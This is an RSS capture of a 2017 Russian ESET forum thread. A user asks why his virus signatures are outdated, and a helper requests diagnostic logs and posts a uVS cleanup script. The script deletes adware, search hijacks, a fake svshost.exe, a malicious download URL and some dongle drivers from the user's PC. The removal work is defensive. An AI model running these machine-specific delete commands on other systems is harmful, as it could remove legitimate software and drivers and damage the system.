delref HTTPS://CLIENTS2.GOOGLE.COM/SERVICE/UPDATE2/CRX?RESPONSE=REDIRECT&PRODVERSION=38.0&X=ID%3DEPGJFMBLHACACPHALJKDCJLLKOMDCJPC%26INSTALLSOURCE%3DONDEMAND%26UC
delref HTTPS://CLIENTS2.GOOGLE.COM/SERVICE/UPDATE2/CRX?RESPONSE=REDIRECT&PRODVERSION=38.0&X=ID%3DHCADGIJMEDBFGCIEGJOMFPJCDCHLHNIF%26INSTALLSOURCE%3DONDEMAND%26UC
delref HTTPS://CLIENTS2.GOOGLE.COM/SERVICE/UPDATE2/CRX?RESPONSE=REDIRECT&PRODVERSION=38.0&X=ID%3DOELPKEPJLGMEHAJEHFEICFBJDIOBDKFJ%26INSTALLSOURCE%3DONDEMAND%26UC
delref HTTPS://CLIENTS2.GOOGLE.COM/SERVICE/UPDATE2/CRX?RESPONSE=REDIRECT&PRODVERSION=38.0&X=ID%3DOILHEBPJHNJAEGHEDPJNMAJAJLCFDJGC%26INSTALLSOURCE%3DONDEMAND%26UC
delref HTTPS://CLIENTS2.GOOGLE.COM/SERVICE/UPDATE2/CRX?RESPONSE=REDIRECT&PRODVERSION=38.0&X=ID%3DOJLCEBDKBPJDPILIGKDBBKDKFJMCHBFD%26INSTALLSOURCE%3DONDEMAND%26UC
delref HTTP://WWW.BING.COM/SEARCH?Q={SEARCHTERMS}&SRC=IE-SEARCHBOX&FORM=IESR02
delref HTTP://WWW.YOUNDOO.COM/?Z=1BAF3F7FB08168DB8CB1A45GEZBM0C5G9W7WBZ1M6Z&FROM=AMZ&UID=SAMSUNGXSP1654N_S0GEJ1VL900798&TYPE=HP
delref SEARCH.MPC.AM
delref HTTP://WWW.STARTGO123.COM/SEARCH/INDEX
delref HTTP://MAIL.RU/CNT/10445?GP=822313
delref HTTP://MAIL.RU/CNT/10445?GP=811036
delref HTTP://MAIL.RU/CNT/10445?GP=811560
delref HTTP://MAIL.RU/CNT/10445?GP=811009
delref HTTP://GO.MAIL.RU/DISTIB/EP/?Q={SEARCHTERMS}&PRODUCT_ID=%7B6674A314-E8B5-4E5A-8AEF-855330E4A90D%7D&GP=811014
delref HTTP://MAIL.RU/CNT/10445?GP=811013
del %SystemDrive%\USERS\ДМИТРИЙ\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\АМИГО.LNK
del %SystemDrive%\USERS\ДМИТРИЙ\APPDATA\ROAMING\MICROSOFT\INTERNET EXPLORER\QUICK LAUNCH\АМИГО.LNK
apply

;-------------------------------------------------------------

delref HTTP://AMTOMIL.RU/F.EXE
delall %SystemDrive%\USERS\ДМИТРИЙ\APPDATA\LOCAL\AMIGO\APPLICATION\AMIGO.EXE
exec32 "C:\ProgramData\Package Cache\{277af691-7c0f-478e-9fb6-62efeead0faa}\setup.exe"  /uninstall
uidel  "C:\ProgramData\Package Cache\{277af691-7c0f-478e-9fb6-62efeead0faa}\setup.exe"  /uninstall
uidel "C:\Users\Дмитрий\AppData\Local\Amigo\Application\56.0.2924.197\Installer\setup.exe" --uninstall
deltmp
sreg

delall %SystemDrive%\USERS\ДМИТРИЙ\APPDATA\LOCAL\SVSHOST\SVSHOST.EXE
delall %SystemDrive%\USERS\ДМИТРИЙ\APPDATA\ROAMING\CURL\CURL_7_54.EXE
delref %SystemDrive%\USERS\ДМИТРИЙ\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\EXTENSIONS\FIIBKHOKMFKKADMPAIGIJMGMLFENPCHK\16.6226.216_1\TESTTRUE ДЛЯ ТЕБЯ
delref %SystemDrive%\USERS\ДМИТРИЙ\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\EXTENSIONS\LPHICBBHFMLLGMOMKKHJFKPBDLNCAFBN\2.1.4_0\LETYSHOPS
delall %Sys32%\EA3HOST.EXE
delref %SystemDrive%\PROGRAM FILES (X86)\ADGUARD\ADGUARD.EXE
delref %SystemDrive%\PROGRAM FILES (X86)\ADGUARD\ADGUARDSVC.EXE
delref %SystemDrive%\USERS\ДМИТРИЙ\APPDATA\LOCAL\KINGOSOFT\KINGO ROOT\UPDATE_27205\BIN\CHECKUPDATE.EXE
delref %SystemDrive%\USERS\ДМИТРИЙ\APPDATA\LOCAL\KINGOSOFT\KINGO ROOT\UPDATE_27205\BIN\KINGOSOFTSERVICE.EXE
delref %Sys32%\DRIVERS\AKSDF.SYS
delref %Sys32%\DRIVERS\AKSFRIDGE.SYS
delref %Sys32%\DRIVERS\HARDLOCK.SYS
delref %Sys32%\HASPLMS.EXE
delref %SystemDrive%\PROGRAM FILES (X86)\COMMON FILES\ALADDIN SHARED\HASP\HASPVLIB_64747.DLL
areg
=============

+
Далее создайте новый образ автозапуска в uVS
06.07.2017 14:50:25, RP55 RP55.]]> http://forum.esetnod32.ru/messages/forum5/topic14128/message99818/ http://forum.esetnod32.ru/messages/forum5/topic14128/message99818/ Thu, 06 Jul 2017 14:50:25 +0300 Обновление антивируса Баз данных сигнатур вирусов устарела Баз данных сигнатур вирусов устарела обновление не помогает в форуме Обновление антивируса.
ссылки на логи/журнал
http://rgho.st/6SDxfpjvq
http://rgho.st/7MDSQNzHr
06.07.2017 14:27:25, Дмитрий Столяров.]]> http://forum.esetnod32.ru/messages/forum5/topic14128/message99816/ http://forum.esetnod32.ru/messages/forum5/topic14128/message99816/ Thu, 06 Jul 2017 14:27:25 +0300 Обновление антивируса Баз данных сигнатур вирусов устарела Баз данных сигнатур вирусов устарела обновление не помогает в форуме Обновление антивируса.

====quote====
Дмитрий Столяров написал:
версия баз данных 14855

=============

Актуальная версия сейчас : 15701
Так, что ваша версия баз действительно устарела.


1) Создайте образ автозапуска в uVS
http://forum.esetnod32.ru/forum9/topic2687/

2) Скачайте программу SysInspector по ссылке:

Для 32-битных ОС:
http://download.eset.com/download/sysinspector/32/RUS/SysInspector.exe
Для 64-битных ОС:
http://download.eset.com/download/sysinspector/64/RUS/SysInspector.exe

Чтобы сохранить лог файл необходимо нажать в верхнем правом углу программы кнопку "файл" , затем выбрать "сохранить журнал".
Название файла будет иметь вид "SysInspector-имя вашего компьютера-дата.zip"

Лог файл прикрепите к вашему сообщению на форуме или разместите на файлообменнике:
( http://rghost.ru  ), указав на форуме в своей теме ссылку на этот архив.
06.07.2017 12:45:52, RP55 RP55.]]> http://forum.esetnod32.ru/messages/forum5/topic14128/message99812/ http://forum.esetnod32.ru/messages/forum5/topic14128/message99812/ Thu, 06 Jul 2017 12:45:52 +0300 Обновление антивируса Баз данных сигнатур вирусов устарела Баз данных сигнатур вирусов устарела обновление не помогает в форуме Обновление антивируса.
Добрый день, на домашней странице программа пишет грозное уведомление "Баз данных сигнатур вирусов устарела" , после попытки обновиться
пишет "обновление не требуется" ....типа всё актуально.
Последнее успешное обновление 5 июня, версия баз данных 14855
Что не так? что исправить, чтобы обновления проходили корректно?
версия ESET SS 10.0.390.0
06.07.2017 10:46:05, Дмитрий Столяров.]]> http://forum.esetnod32.ru/messages/forum5/topic14128/message99811/ http://forum.esetnod32.ru/messages/forum5/topic14128/message99811/ Thu, 06 Jul 2017 10:46:05 +0300 Обновление антивируса